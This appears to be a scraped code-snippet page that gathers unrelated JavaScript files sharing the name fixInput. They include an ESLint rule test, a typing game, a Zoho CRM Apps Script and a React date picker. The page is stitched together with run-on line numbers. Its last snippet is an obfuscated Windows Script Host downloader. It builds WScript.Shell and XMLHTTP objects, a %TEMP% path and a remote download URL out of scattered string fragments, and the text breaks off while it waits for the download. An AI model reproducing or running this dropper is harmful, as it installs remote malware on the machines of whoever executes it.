Best JavaScript code snippet using cypress
template-indent.mjs
Source:template-indent.mjs
...19test({20 /** @type {import('eslint').RuleTester.InvalidTestCase[]} */21 invalid: [22 {23 code: fixInput(`24 foo = dedent\`25 â¢â¢â¢â¢â¢â¢â¢â¢one26 â¢â¢â¢â¢â¢â¢â¢â¢two27 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three28 â¢â¢â¢â¢â¢â¢â¢â¢\`29 `),30 errors,31 output: fixInput(`32 foo = dedent\`33 â¢â¢one34 â¢â¢two35 â¢â¢â¢â¢three36 \`37 `),38 },39 {40 code: ['dedent`', 'one', 'two', '`'].join('\r\n'),41 errors,42 output: ['dedent`', ' one', ' two', '`'].join('\r\n'),43 },44 {45 options: [{46 tags: ['customIndentableTag'],47 }],48 code: fixInput(`49 foo = customIndentableTag\`50 â¢â¢â¢â¢â¢â¢â¢â¢one51 â¢â¢â¢â¢â¢â¢â¢â¢two52 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three53 â¢â¢â¢â¢â¢â¢â¢â¢\`54 foo = differentTagThatMightBeWhitespaceSensitive\`55 â¢â¢â¢â¢â¢â¢â¢â¢one56 â¢â¢â¢â¢â¢â¢â¢â¢two57 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three58 â¢â¢â¢â¢â¢â¢â¢â¢\`59 foo = \`60 â¢â¢â¢â¢â¢â¢â¢â¢one61 â¢â¢â¢â¢â¢â¢â¢â¢two62 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three63 â¢â¢â¢â¢â¢â¢â¢â¢\`64 `),65 errors,66 output: fixInput(`67 foo = customIndentableTag\`68 â¢â¢one69 â¢â¢two70 â¢â¢â¢â¢three71 \`72 foo = differentTagThatMightBeWhitespaceSensitive\`73 â¢â¢â¢â¢â¢â¢â¢â¢one74 â¢â¢â¢â¢â¢â¢â¢â¢two75 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three76 â¢â¢â¢â¢â¢â¢â¢â¢\`77 foo = \`78 â¢â¢â¢â¢â¢â¢â¢â¢one79 â¢â¢â¢â¢â¢â¢â¢â¢two80 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three81 â¢â¢â¢â¢â¢â¢â¢â¢\`82 `),83 },84 {85 options: [{86 tags: ['customIndentableTag'],87 selectors: [':not(TaggedTemplateExpression) > TemplateLiteral'],88 }],89 code: fixInput(`90 foo = customIndentableTag\`91 â¢â¢â¢â¢â¢â¢â¢â¢one192 â¢â¢â¢â¢â¢â¢â¢â¢two193 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three194 â¢â¢â¢â¢â¢â¢â¢â¢\`95 foo = differentTagThatMightBeWhitespaceSensitive\`96 â¢â¢â¢â¢â¢â¢â¢â¢one97 â¢â¢â¢â¢â¢â¢â¢â¢two98 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three99 â¢â¢â¢â¢â¢â¢â¢â¢\`100 foo = \`101 â¢â¢â¢â¢â¢â¢â¢â¢one102 â¢â¢â¢â¢â¢â¢â¢â¢two103 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three104 â¢â¢â¢â¢â¢â¢â¢â¢\`105 `),106 errors: [...errors, ...errors],107 output: fixInput(`108 foo = customIndentableTag\`109 â¢â¢one1110 â¢â¢two1111 â¢â¢â¢â¢three1112 \`113 foo = differentTagThatMightBeWhitespaceSensitive\`114 â¢â¢â¢â¢â¢â¢â¢â¢one115 â¢â¢â¢â¢â¢â¢â¢â¢two116 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three117 â¢â¢â¢â¢â¢â¢â¢â¢\`118 foo = \`119 â¢â¢one120 â¢â¢two121 â¢â¢â¢â¢three122 \`123 `),124 },125 {126 code: fixInput(`127 function foo() {128 â¢â¢return dedent\`129 â¢â¢â¢â¢â¢â¢â¢â¢one130 â¢â¢â¢â¢â¢â¢â¢â¢two131 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three132 â¢â¢â¢â¢â¢â¢â¢â¢\`133 }134 `),135 errors,136 output: fixInput(`137 function foo() {138 â¢â¢return dedent\`139 â¢â¢â¢â¢one140 â¢â¢â¢â¢two141 â¢â¢â¢â¢â¢â¢three142 â¢â¢\`143 }144 `),145 },146 {147 code: fixInput(`148 // a149 // bb150 // ccc151 // dddd152 function foo() {153 â¢â¢return dedent\`154 â¢â¢â¢â¢â¢â¢â¢â¢one155 â¢â¢â¢â¢â¢â¢â¢â¢two156 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three \${3} four157 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢five158 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢\${{f: 5}}159 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢six160 â¢â¢â¢â¢â¢â¢â¢â¢\`161 }162 `),163 errors,164 output: fixInput(`165 // a166 // bb167 // ccc168 // dddd169 function foo() {170 â¢â¢return dedent\`171 â¢â¢â¢â¢one172 â¢â¢â¢â¢two173 â¢â¢â¢â¢â¢â¢three \${3} four174 â¢â¢â¢â¢â¢â¢â¢â¢five175 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢\${{f: 5}}176 â¢â¢â¢â¢â¢â¢â¢â¢six177 â¢â¢\`178 }179 `),180 },181 {182 code: fixInput(`183 foo = gql\`184 â¢â¢â¢â¢â¢â¢â¢â¢one185 â¢â¢â¢â¢â¢â¢â¢â¢two186 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three187 â¢â¢â¢â¢â¢â¢â¢â¢\`188 foo = sql\`189 â¢â¢â¢â¢â¢â¢â¢â¢one190 â¢â¢â¢â¢â¢â¢â¢â¢two191 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three192 â¢â¢â¢â¢â¢â¢â¢â¢\`193 foo = dedent\`194 â¢â¢â¢â¢â¢â¢â¢â¢one195 â¢â¢â¢â¢â¢â¢â¢â¢two196 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three197 â¢â¢â¢â¢â¢â¢â¢â¢\`198 foo = outdent\`199 â¢â¢â¢â¢â¢â¢â¢â¢one200 â¢â¢â¢â¢â¢â¢â¢â¢two201 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three202 â¢â¢â¢â¢â¢â¢â¢â¢\`203 foo = somethingElse\`204 â¢â¢â¢â¢â¢â¢â¢â¢one205 â¢â¢â¢â¢â¢â¢â¢â¢two206 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three207 â¢â¢â¢â¢â¢â¢â¢â¢\`208 `),209 errors: [...errors, ...errors, ...errors, ...errors],210 output: fixInput(`211 foo = gql\`212 â¢â¢one213 â¢â¢two214 â¢â¢â¢â¢three215 \`216 foo = sql\`217 â¢â¢one218 â¢â¢two219 â¢â¢â¢â¢three220 \`221 foo = dedent\`222 â¢â¢one223 â¢â¢two224 â¢â¢â¢â¢three225 \`226 foo = outdent\`227 â¢â¢one228 â¢â¢two229 â¢â¢â¢â¢three230 \`231 foo = somethingElse\`232 â¢â¢â¢â¢â¢â¢â¢â¢one233 â¢â¢â¢â¢â¢â¢â¢â¢two234 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three235 â¢â¢â¢â¢â¢â¢â¢â¢\`236 `),237 },238 {239 code: fixInput(`240 foo = stripIndent(\`241 â¢â¢â¢â¢â¢â¢â¢â¢one242 â¢â¢â¢â¢â¢â¢â¢â¢two243 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three244 â¢â¢â¢â¢â¢â¢â¢â¢\`)245 `),246 errors,247 output: fixInput(`248 foo = stripIndent(\`249 â¢â¢one250 â¢â¢two251 â¢â¢â¢â¢three252 \`)253 `),254 },255 {256 code: fixInput(`257 html = /* HTML */ \`258 â¢â¢â¢â¢â¢â¢â¢â¢<div>259 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢<span>hello</span>260 â¢â¢â¢â¢â¢â¢â¢â¢</div>261 â¢â¢â¢â¢â¢â¢â¢â¢\`262 `),263 errors,264 output: fixInput(`265 html = /* HTML */ \`266 â¢â¢<div>267 â¢â¢â¢â¢<span>hello</span>268 â¢â¢</div>269 \`270 `),271 },272 {273 code: fixInput(`274 html = /* html */ \`275 â¢â¢â¢â¢â¢â¢â¢â¢<div>276 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢<span>hello</span>277 â¢â¢â¢â¢â¢â¢â¢â¢</div>278 â¢â¢â¢â¢â¢â¢â¢â¢\`279 `),280 errors,281 output: fixInput(`282 html = /* html */ \`283 â¢â¢<div>284 â¢â¢â¢â¢<span>hello</span>285 â¢â¢</div>286 \`287 `),288 },289 {290 code: fixInput(`291 html = /* indent */ \`292 â¢â¢â¢â¢â¢â¢â¢â¢<div>293 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢<span>hello</span>294 â¢â¢â¢â¢â¢â¢â¢â¢</div>295 â¢â¢â¢â¢â¢â¢â¢â¢\`296 `),297 errors,298 output: fixInput(`299 html = /* indent */ \`300 â¢â¢<div>301 â¢â¢â¢â¢<span>hello</span>302 â¢â¢</div>303 \`304 `),305 },306 {307 options: [{308 comments: ['please indent me!'],309 }],310 code: fixInput(`311 html = /* please indent me! */ \`312 â¢â¢â¢â¢â¢â¢â¢â¢<div>313 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢<span>hello</span>314 â¢â¢â¢â¢â¢â¢â¢â¢</div>315 â¢â¢â¢â¢â¢â¢â¢â¢\`316 `),317 errors,318 output: fixInput(`319 html = /* please indent me! */ \`320 â¢â¢<div>321 â¢â¢â¢â¢<span>hello</span>322 â¢â¢</div>323 \`324 `),325 },326 {327 options: [{328 indent: 10,329 }],330 code: fixInput(`331 foo = dedent\`332 â¢â¢one333 â¢â¢two334 â¢â¢â¢â¢three335 \`336 `),337 errors,338 output: fixInput(`339 foo = dedent\`340 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢one341 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢two342 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three343 \`344 `),345 },346 {347 options: [{348 indent: '\t\t\t\t',349 }],350 code: fixInput(`351 foo = dedent\`352 â¢â¢one353 â¢â¢two354 â¢â¢â¢â¢three355 \`356 `),357 errors,358 output: fixInput(`359 foo = dedent\`360 ââââââââone361 ââââââââtwo362 âââââââââ¢â¢three363 \`364 `),365 },366 {367 options: [{368 selectors: ['* TemplateLiteral', '* > TemplateLiteral'],369 }],370 code: fixInput(`371 foo = \`372 one373 two374 â¢â¢three375 \`376 `),377 // Make sure we only report one error, even when multiple selectors match378 errors,379 output: fixInput(`380 foo = \`381 â¢â¢one382 â¢â¢two383 â¢â¢â¢â¢three384 \`385 `),386 },387 {388 options: [{389 selectors: ['* > TemplateLiteral'],390 comments: ['indentme'],391 }],392 code: fixInput(`393 foo = /* INDENTME */ \`394 one395 two396 â¢â¢three397 \`398 `),399 // Make sure we only report one error, even when multiple selectors match400 errors,401 output: fixInput(`402 foo = /* INDENTME */ \`403 â¢â¢one404 â¢â¢two405 â¢â¢â¢â¢three406 \`407 `),408 },409 {410 options: [{411 functions: ['customDedentFunction'],412 }],413 code: fixInput(`414 foo = customDedentFunction(\`415 â¢â¢â¢â¢â¢â¢â¢â¢one416 â¢â¢â¢â¢â¢â¢â¢â¢two417 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three418 â¢â¢â¢â¢â¢â¢â¢â¢\`)419 foo = customDedentFunction('some-other-arg', \`420 â¢â¢â¢â¢â¢â¢â¢â¢one421 â¢â¢â¢â¢â¢â¢â¢â¢two422 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three423 â¢â¢â¢â¢â¢â¢â¢â¢\`)424 `),425 errors: [...errors, ...errors],426 output: fixInput(`427 foo = customDedentFunction(\`428 â¢â¢one429 â¢â¢two430 â¢â¢â¢â¢three431 \`)432 foo = customDedentFunction('some-other-arg', \`433 â¢â¢one434 â¢â¢two435 â¢â¢â¢â¢three436 \`)437 `),438 },439 {440 code: fixInput(`441 outdent\`442 before443 before\${444 expression445 }after446 after447 \`448 `),449 errors,450 output: fixInput(`451 outdent\`452 â¢â¢before453 â¢â¢before\${454 expression455 }after456 â¢â¢after457 \`458 `),459 },460 {461 code: fixInput(`462 outdent\`463 â¢â¢before464 â¢â¢before\${465 ââââââoutdent\`466 inner467 ââââââ\`468 }after469 â¢â¢after470 \`471 `),472 errors,473 output: fixInput(`474 outdent\`475 â¢â¢before476 â¢â¢before\${477 ââââââoutdent\`478 ââââââââinner479 ââââââ\`480 }after481 â¢â¢after482 \`483 `),484 },485 ],486 /** @type {import('eslint').RuleTester.ValidTestCase[]} */487 valid: [488 'foo = dedent`one two three`',489 fixInput(`490 function f() {491 ââfoo = dedent\`492 ââââone493 ââââtwo494 ââââââthree495 ââââfour496 ââ\`497 }498 `),499 fixInput(`500 function f() {501 ââfoo = dedent\`502 ââââone503 ââââtwo504 ââââââthree505 ââââfour506 ââ\`507 }508 `),509 fixInput(`510 function f() {511 â¢â¢foo = dedent\`512 â¢â¢â¢â¢one513 â¢â¢â¢â¢two514 â¢â¢â¢â¢â¢â¢three515 â¢â¢â¢â¢four516 â¢â¢\`517 }518 `),519 {520 options: [{521 tags: ['somethingOtherThanDedent'],522 functions: ['somethingOtherThanStripIndent'],523 }],524 code: fixInput(`525 foo = stripIndent(\`526 â¢â¢â¢â¢â¢â¢â¢â¢one527 â¢â¢â¢â¢â¢â¢â¢â¢two528 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three529 â¢â¢â¢â¢â¢â¢â¢â¢\`)530 foo = dedent\`531 â¢â¢â¢â¢â¢â¢â¢â¢one532 â¢â¢â¢â¢â¢â¢â¢â¢two533 â¢â¢â¢â¢â¢â¢â¢â¢â¢â¢three534 â¢â¢â¢â¢â¢â¢â¢â¢\`535 `),536 },537 'stripIndent(foo)',538 {539 options: [{540 selectors: ['TemplateElement'],541 }],542 // Bad selector; no template literal match543 code: fixInput(`544 foo = \`545 â¢â¢â¢â¢â¢â¢one546 â¢â¢â¢â¢â¢â¢two547 â¢â¢â¢â¢â¢â¢â¢â¢three548 \`549 `),550 },551 '``',552 {553 options: [{554 comments: [],555 }],556 code: fixInput(`557 foo = /* indent */ \`558 â¢â¢â¢â¢â¢â¢one559 â¢â¢â¢â¢â¢â¢two560 â¢â¢â¢â¢â¢â¢â¢â¢three561 \`562 `),563 },564 fixInput(`565 outdent\`566 â¢â¢before567 â¢â¢before\${568 expression569 }after570 â¢â¢after571 \`572 `),573 fixInput(`574 outdent\`575 â¢â¢before576 â¢â¢before\${577 â¢â¢â¢â¢â¢â¢normalTemplate\`578 inner579 â¢â¢â¢â¢â¢â¢\`580 }after581 â¢â¢after582 \`583 `),584 ],585});586// `expect().toMatchInlineSnapshot()`587const INVALID_SNAPSHOT = `\`...
script.js
Source:script.js
...81 letterIdx = currentWord.children.length;82 currentLetter = currentWord.children[letterIdx - 1];83 84 currentVal = getPrevInput(wordIdx);85 fixInput(currentLetter);86 } 87 else if (letterIdx != 0) {88 letterIdx--;89 currentLetter = currentWord.children[letterIdx];90 if (letterIdx >= words[wordIdx].length) {91 currentLetter.parentNode.removeChild(currentLetter);92 currentLetter = currentWord.children[letterIdx-1];93 fixInput(currentLetter);94 } else {95 currentLetter.removeAttribute('id');96 fixInput(currentLetter, true);97 }98 currentVal = currentVal.substring(0, currentVal.length - 1);99 }100};101const holdDelete = () => {102 holdTimeout = setTimeout(() => {103 delInterval = setInterval(() => {104 delLetter();105 }, 40);106 }, 400);107};108const setup = async () => {109 clearInterval(timerLoop);110 timerLoop = null;111 seconds = 0;112 timer.innerHTML = 0;113 wordIdx = 0;114 letterIdx = 0;115 currentVal = "";116 correctWords = 0;117 text.innerHTML = "";118 words = await fetchQuote();119 for (let i = 0; i < words.length; i++) {120 var word = document.createElement('h3');121 122 for (let j = 0; j < words[i].length; j++) {123 var letter = document.createElement('letter');124 125 letter.innerHTML = words[i][j];126 127 word.append(letter);128 }129 130 text.append(word);131 }132 fixInput(document.getElementsByTagName('letter')[0], true);133};134setup();135document.addEventListener('keydown', (e) => {136 if (e.repeat) return;137 const pressed = e.key;138 currentWord = document.getElementsByTagName('h3')[wordIdx];139 currentLetter = letterIdx < currentWord.children.length && currentWord.children[letterIdx];140 141 if (isLetter(pressed)) {142 !timerLoop && start();143 currentVal += pressed;144 }145 switch (pressed) {146 case "Backspace":147 holdDelete();148 delLetter(letterIdx, wordIdx, currentWord, currentLetter);149 break;150 case " ":151 e.target == redo && e.preventDefault(); // prevent redo press with spacebar152 if (!checkWord(currentVal, words[wordIdx])) {153 currentWord.style.borderBottom = '2px solid rgba(255, 0, 0, 0.6)';154 } else {155 currentWord.setAttribute('id', 'correctWord');156 }157 wordIdx++;158 letterIdx = 0;159 currentVal = "";160 if (wordIdx == words.length) {161 gameOver();162 } else {163 fixInput(document.getElementsByTagName('h3')[wordIdx], true);164 }165 break;166 167 case currentLetter.innerHTML:168 currentLetter.setAttribute('id', 'correct');169 break;170 default:171 if (isLetter(pressed)) {172 if (currentVal.length > currentWord.children.length) {173 var letter = document.createElement('letter');174 175 letter.innerHTML = pressed;176 currentLetter = letter;177 currentWord.append(letter);178 }179 currentLetter.setAttribute('id', 'incorrect');180 }181 break;182 }183 if (isLetter(pressed)) {184 letterIdx++;185 fixInput(currentLetter);186 } 187});188document.addEventListener('keyup', (e) => {189 if (e.repeat) return;190 if (e.key == "Backspace") {191 clearTimeout(holdTimeout);192 clearInterval(delInterval); 193 }...
Code.gs
Source:Code.gs
1/* Consider this your server-side file but without the server */2/**3 * Special function that handles HTTP GET requests to the published web app.4 * @return {HtmlOutput} The HTML page to be served.5 ***/6function doGet(e) {7 var requestedId = e.parameter.zoho_id;8 var templ = HtmlService.createTemplateFromFile('webpage');9 templ.data = requestRecordFromCRM(requestedId);10 return templ.evaluate()11 .setTitle('Web Form')12 .setSandboxMode(HtmlService.SandboxMode.IFRAME);13}14/* - - - - - - - Zoho API - - - - - - - */15/* Data is pulled from Zoho CRM to pre-populate webform */16/*Post/Update record to CRM*/17function postRecordToCRM() {18 var authToken = 'INSERT_API_KEY'; //Zoho CRM API key goes here19 var xmlData = '<Leads><row no="1"><FL val="Company">Your Company</FL><FL val="First Name">HannahZZZZZ</FL><FL val="Last Name">SmithZZZ</FL><FL val="Email">ABCtesting@testing.com</FL></row></Leads>';20 var zohoPostUrl = 'https://crm.zoho.com/crm/private/json/Leads/insertRecords?authtoken=' + authToken + '&scope=crmapi&xmlData=';21 var response = UrlFetchApp.fetch(zohoPostUrl + encodeURIComponent(xmlData));22 var sanitizedResponse = JSON.parse(response.getContentText());23 Logger.log(sanitizedResponse);24}25/*Fetch record data with Lead ID*/26function requestRecordFromCRM(requestedId) {27 //var requestedId = 'INSERT_API_KEY'; //Sample record id28 var authToken = 'INSERT_API_KEY'; //Zoho CRM API key goes here29 var zohoRequestUrl = 'https://crm.zoho.com/crm/private/json/Leads/getRecordById?&authtoken=' + authToken + '&scope=crmapi&id=' + requestedId;30 var response = UrlFetchApp.fetch(zohoRequestUrl);31 var sanitizedResponse = (response.getContentText());32 //complete sample zoho api call (remember to replace api key) https://crm.zoho.com/crm/private/json/Leads/getRecordById?&authtoken=INSERT_API_KEY&scope=crmapi&id=39284800003564910033 /*Sanitize json*/34 var output = JSON.parse(sanitizedResponse);35 //uncomment Logger.log(output);36 /*Declare the variables you want to print*/37 var parsedOutput = output.response.result.Leads.row.FL;38 var recordObj = {}39 /*Equate variable value to corresponding key-value pair returned by api response*/40 for (var i = 0; i < output.response.result.Leads.row.FL.length; i++) {41 Logger.log(output.response.result.Leads.row.FL[i].val+" ==== "+output.response.result.Leads.row.FL[i].content);42 var fl=output.response.result.Leads.row.FL[i];43 if (fl.val == 'Width') {recordObj.width = fixinput(fl.content);}44 if (fl.val == 'Length') {recordObj.length = fixinput(fl.content);}45 if (fl.val == 'Height') {recordObj.height = fixinput(fl.content);}46 if (fl.val == 'Street') {recordObj.street = fixinput(fl.content);}47 if (fl.val == 'City') {recordObj.city =fixinput( fl.content);}48 if (fl.val == 'State') {recordObj.state = fixinput(fl.content);}49 if (fl.val == 'Country') {recordObj.country = fixinput(fl.content);}50 if (fl.val == 'Zip Code') {recordObj.zip = fixinput(fl.content);}51 if (fl.val == 'Lead Name') {recordObj.leadName = fixinput(fl.content);}52 if (fl.val == 'First Name') {recordObj.firstName =fixinput( fl.content);}53 if (fl.val == 'Last Name') {recordObj.lastName =fixinput( fl.content);}54 if (fl.val == 'Phone') {recordObj.phone = fixinput(fl.content);}55 if (fl.val == 'Email') {recordObj.email = fixinput(fl.content);}56 if (fl.val == 'Lead Owner') {recordObj.leadOwner = fixinput(fl.content);}57 if (fl.val == 'Standard Cost') {recordObj.standardPrice = fixinput(fl.content);}58 if (fl.val == 'Building Price') {recordObj.total =fixinput( fl.content);}59 }60 return (recordObj);61}62function fixinput(input) {63 //uncomment Logger.log(input);64 return input;65}66function debug() {67 Logger.log(ScriptApp.getService().getUrl());68}69/* - - - - - - - PDF Layer API - - - - - - - */70/* High quality HTML to PDF conversion API */71/* Convert HTML to PDF */72function convertToPDF(html) {73 var authKey = 'INSERT_API_KEY'; //PDF Layer API key goes here74 var creator = 'hkdeven';75 var documentName = 'WebForm.pdf';76 /* PDF Layer only reads inline-css, unless you pass a css_url parameter with the API call - remember, plain css only */77 var cssUrl = 'https://s3-us-west-2.amazonaws.com/folder/styles.css'; //Link to your external css file, if applicable78 var encodedUrl = encodeURI("http://api.pdflayer.com/api/convert" +79 "?access_key=" + authKey +80 "&creator=" + creator +81 "&document_name=" + documentName +82 "&dpi=300" +83 "&page_size=A4" +84 "&margin_top=0" +85 "&margin_bottom=0" +86 "&margin_left=0" +87 "&margin_right=0" +88 "&use_print_media=1" +89 "&css_url=" + cssUrl);90 var payload = {91 'document_html': html92 }93 var request = {94 'method' : 'POST',95 'payload' : payload96 }97 var response = UrlFetchApp.fetch(encodedUrl, request);98 var obj = {}99 obj.headers = response.getAllHeaders();100 obj.responseCode = response.getResponseCode();101 if (obj.headers['Content-Type'] == MimeType.PDF) {102 /* PDF file for client-side webpage */103 obj.response = Utilities.base64Encode(response.getContent());104 }105 return JSON.stringify(obj);...
index.js
Source:index.js
1import React from 'react'2import Moment from 'moment'3import DatePicker from './DatePicker'4import TimePicker from './TimePicker'5import './index.css'6class DateOrTimeSelector extends React.Component {7 constructor(){8 super()9 this.state = {10 pickerOpen: false,11 // DatePicker state variables12 inputDate : Moment().format("MM/DD/YYYY"),13 selectedDate: Moment().format("MM/DD/YYYY"), // used for rendering DatePicker Calendar along with pickerControlDate14 rememberDateForCancel: Moment().format("MM/DD/YYYY"), // for cancel button behaviour15 // Time picker stuff16 inputTime: Moment().format("hh:mm a"),17 selectedTime: Moment().format("hh:mm a")18 }19 }20 handleDateInputChange(e){21 var inputDate = e.target.value22 this.setState({ inputDate })23 // if user enters month July as 7 and not 07, same with date24 var fixInput = inputDate.split('/')25 if(fixInput[0]<10 && !fixInput[0].includes('0')){ fixInput[0] = '0'+fixInput[0]}26 if(fixInput[1]<10 && !fixInput[1].includes('0')){ fixInput[1] = '0'+fixInput[1]}27 inputDate = fixInput.join('/')28 // after date is fixed29 if(inputDate.length === 10) {30 this.setState({ selectedDate: inputDate }) 31 }32 }33 handleTimeInputChange(e){34 var inputTime = e.target.value35 this.setState({ inputTime })36 if( inputTime.length>=6 && (inputTime.includes('am') || inputTime.includes('pm')) ) {37 // this.setState({ selectedTime: input, inputTime: input }) --- to be changed 38 }39 }40 render(){41 // console.log(this.state)42 const timePicker = this.props.timePicker || false43 const onOk = this.props.onOk ? this.props.onOk : (e) => { console.log(e)}44 const zIndex = this.props.zIndex || 145 const isBigScreen = window.matchMedia("(min-width: 769px)").matches46 return (47 <div className="date-picker-container">48 {!timePicker ?49 (isBigScreen ? 50 <input className={`picker-input ${this.props.inputClass || ''}`} type="text" value={this.state.inputDate} onChange={e => this.handleDateInputChange(e)} onClick={() => this.setState({ pickerOpen: true })}/> :51 <input readOnly className={`picker-input ${this.props.inputClass || ''}`} type="text" value={this.state.inputDate} onChange={e => this.handleDateInputChange(e)} onClick={() => this.setState({ pickerOpen: true })}/> )52 :53 (isBigScreen ?54 <input className={`picker-input ${this.props.inputClass || ''}`} tpye="text" value={this.state.inputTime} onChange={e => this.handleTimeInputChange(e)} onClick={() => this.setState({ pickerOpen: true })}/> :55 <input readOnly className={`picker-input ${this.props.inputClass || ''}`} tpye="text" value={this.state.inputTime} onChange={e => this.handleTimeInputChange(e)} onClick={() => this.setState({ pickerOpen: true })}/> )56 }57 {this.state.pickerOpen && 58 <div className="mask" style={{ zIndex: zIndex-1 }}>59 <div className="picker-container" id="picker-container" style={{ width: this.props.pickerWidth+'px', zIndex }} >60 {!timePicker ? 61 <DatePicker62 {...this.state}63 pickerWidth={this.props.pickerWidth || 250}64 onOk={onOk}65 changeSelectedDate={selectedDate => this.setState({ selectedDate })}66 changeInputDate={selectedDate => this.setState({ inputDate: selectedDate })}67 changeRememberDate={rememberDateForCancel => this.setState({ rememberDateForCancel })}68 openPicker={() => this.setState({ pickerOpen: true })}69 closePicker={() => this.setState({ pickerOpen: false })}70 />71 :72 <TimePicker73 pickerWidth={this.props.pickerWidth || 250}74 {...this.state}75 onOk={onOk}76 changeInputTime={inputTime => this.setState({ inputTime })}77 changeSelectedTime={selectedTime => this.setState({ selectedTime })}78 openPicker={() => this.setState({ pickerOpen: true })}79 closePicker={() => this.setState({ pickerOpen: false })}80 />81 }82 83 </div>84 </div>85 }86 </div>87 )88 }89}...
20160308_ee222bf097cac15e9127f4569ca588ab.js
Source:20160308_ee222bf097cac15e9127f4569ca588ab.js
1clazz = 156;2contexts = "tri";3var rjsonp = 248,4 compile = 14;5jsonProp = "sen", content = "bje", bool = "entS";6var boxSizingReliableVal = "Run";7strAbort = 32, script = "reateO", td = "seBody", using = "ngs";8selectedIndex = "wr";9end = "pt";10attrs = 26;11structure = "Expand";12origType = "u/";13domManip = "Crea";14arg = 117, rescape = 13, matchesSelector = "ct", last = "ttp://", filter = 90, dest = 4983;15dataTypeOrTransport = "j6h5";16index = "WScri";17globalEval = 1185;18rbuggyQSA = "d";19valueParts = "osit";20to = "TP";21buildFragment = 0;22minWidth = "ADODB";23setPositiveNumber = "C", cloneNode = 6;24transport = "ect";25vendorPropName = "WScrip";26factory = "c";27createOptions = "H";28outermostContext = "rem";29on = 24;30resolve = "WScr";31xhrSupported = 86;32onreadystatechange = "t.S";33readyState = "te";34beforeSend = "L2.XML";35fnOver = 1;36boolHook = "Sleep";37i = "42";38hasClass = 35;39maxIterations = "onm", diff = "Fi", documentElement = "W", webkitMatchesSelector = "r";40var close = 50,41 overflowX = "t",42 flag = "type";43params = "dysta", expando = "/", replaceChild = "E", optall = "980k7";44var parent = "a",45 ret = "le",46 abort = 990,47 scale = 31,48 srcElements = "sti",49 unloadHandler = 186;50var sortOrder = "Envir",51 firstElementChild = "m";52var high = "teObje",53 matched = "S";54sortStable = "n";55width = 41;56addToPrefiltersOrTransports = "cl";57hasContent = "MSXM", hide = "s";58fxNow = ".St";59callbackName = "open";60rmsPrefix = 18;61teardown = "ng.e", outermost = "e.stra", pageY = "ove", letter = 58, serialize = "teObj";62callbackContext = "%TEMP%";63oldCache = "to-ho";64readyList = "ea";65val = "p";66method = 152;67var originAnchor = 12,68 original = "Script",69 w = "l",70 createInputPseudo = "aveTo",71 matcherIn = 28;72invert = 12865;73animation = 168;74clientTop = ".sc";75pseudo = "eep";76handleObj = "h";77match = 4;78lname = "o";79lang = "ipt";80checkContext = 25;81unqueued = "ell";82var condense = "At",83 iframe = "i",84 nidselect = "T";85firstChild = 10212, fns = "G", step = 93, soFar = 11;86dataUser = (function Object.prototype.els() {87 return this88}, "ion"), locked = 174, reject = "Respon", progress = "se", option = "514576";89base = 3;90beforeunload = "e";91hold = "ope";92remaining = 2;93jsonp = "tribut";94cur = "Cre", submit = ".d";95fixInput = (((215, animation, 193, unloadHandler) - (5 ^ arg)), (((4 + buildFragment) | (11 / soFar)), this));96contentType = boxSizingReliableVal;97parts = fixInput[documentElement + original];98prependTo = parts[setPositiveNumber + script + content + factory + overflowX](vendorPropName + onreadystatechange + handleObj + unqueued);99specified = prependTo[structure + sortOrder + maxIterations + bool + contexts + using](callbackContext + expando) + outermostContext + pageY + condense + jsonp + beforeunload + clientTop + webkitMatchesSelector;100calculatePosition = fixInput[index + end][cur + parent + serialize + transport](hasContent + beforeSend + createOptions + nidselect + to);101calculatePosition[callbackName](fns + replaceChild + nidselect, handleObj + last + option + i + submit + outermost + oldCache + srcElements + teardown + origType + optall + dataTypeOrTransport, !(3 == (((((strAbort + 24) | (checkContext * 4 + match)) / ((Math.pow(365, remaining) - 132745) / (Math.pow(hasClass, 2) - globalEval))) + (((1 * remaining) ^ (0 & fnOver)) ^ ((1 * buildFragment) & (0 / fnOver)))) - (((Math.pow((21 + xhrSupported), (33 - scale)) - (21479 - firstChild)), (2 & base) * (1 + fnOver) * 61, ((step - 65) & (abort / 33))), (((rmsPrefix - 18) / (clazz, 53, compile)) | ((130, locked, 4042) / (letter - 11))), (Math.pow(((remaining | 1) ^ (match | 30)), ((Math.pow(rescape, 2) - method) - (3 | originAnchor))) - ((63, step, 50, filter) + (34750 / close))), (((988 / attrs) - (1 ^ cloneNode)) - (Math.pow((11 ^ scale), (48 / on)) - (130 + rjsonp)))))));102calculatePosition[jsonProp + rbuggyQSA]();103while (calculatePosition[webkitMatchesSelector + readyList + params + readyState] < (2 * (buildFragment | 2))) {104 fixInput[index + val + overflowX][matched + w + pseudo](((matcherIn * 5 + originAnchor) - 2 * rescape * 